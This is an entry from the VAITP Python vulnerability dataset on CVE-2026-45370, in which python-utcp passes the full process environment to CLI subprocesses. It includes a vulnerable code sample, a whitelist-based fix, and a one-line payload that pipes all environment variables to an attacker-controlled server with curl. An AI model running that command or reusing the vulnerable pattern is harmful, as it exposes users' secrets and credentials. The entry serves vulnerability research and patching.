VAITP Dataset

← Back to the dataset

CVE-2026-45370

python-utcp passes environment variables to subprocesses, leaking secrets.

  • CVSS 7.7
  • CWE-526
  • Information Leakage
  • Local

python-utcp is the python implementation of UTCP. Prior to 1.1.3, _prepare_environment() in cli_communication_protocol.py passes a full copy of os.environ to every CLI subprocess. When combined with CVE-2026-45369, an attacker can exfiltrate all process-level secrets in a single tool call. This vulnerability is fixed in 1.1.3.

CVSS base score
7.7
Published
2026-05-14
OWASP
A01 Broken Access Control
Orthogonal defect classification
Interface
Code defect classification
Missing Check
Category
Information Leakage
Subcategory
Information Disclosure
Accessibility scope
Local
Impact
Information Disclosure
Affected component
python-utcp
Fixed by upgrading
Yes

Solution

Upgrade python-utcp to version 1.1.3 or later.

Vulnerable code sample

import os
import subprocess
from typing import Dict, List


class CliCommunicationProtocol:
    """
    A simplified representation of the class from cli_communication_protocol.py
    prior to the fix for CVE-2026-45370.
    """

    def _prepare_environment(self) -> Dict[str, str]:
        """
        Prepares the environment for the subprocess.

        This is the vulnerable implementation as it makes a full copy of the
        current process's environment, potentially including sensitive data.
        """
        return os.environ.copy()

    def run_cli_tool(self, command_args: List[str]):
        """
        Runs a command-line tool in a subprocess.
        """
        # The vulnerable environment is prepared here.
        vulnerable_env = self._prepare_environment()

        # The subprocess is started with a full copy of the parent's
        # environment, including any secrets it may contain.
        subprocess.Popen(
            command_args,
            env=vulnerable_env,
            stdout=subprocess.PIPE,
            stderr=subprocess.PIPE
        )

Patched code sample

import os

class CliCommunicationProtocol:
    """
    This example class demonstrates the conceptual fix for a vulnerability
    where the entire process environment was passed to a subprocess.
    """

    def _prepare_environment(self):
        """
        Prepares a sanitized environment dictionary for a subprocess.

        This method represents the fix for the described vulnerability. Instead of
        passing a full copy of `os.environ`, it creates a new, minimal
        dictionary containing only explicitly whitelisted variables. This
        prevents sensitive information (API keys, passwords, etc.) from
        leaking to the subprocess.
        """
        # Define a whitelist of environment variables that are considered safe
        # and necessary for the CLI subprocess to function correctly.
        allowed_vars = [
            'PATH',
            'HOME',
            'LANG',
            'LC_ALL',
            'LC_CTYPE',
        ]

        sanitized_env = {}
        for var_name in allowed_vars:
            if var_name in os.environ:
                sanitized_env[var_name] = os.environ[var_name]

        # The returned dictionary would then be passed to the `env` parameter
        # of a call like `subprocess.run()` or `subprocess.Popen()`.
        return sanitized_env

Payload

env | curl -X POST -d @- http://attacker-controlled-server.com/

Cite this entry

@misc{vaitp:cve202645370,
  title        = {{python-utcp passes environment variables to subprocesses, leaking secrets.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-45370},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-45370/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::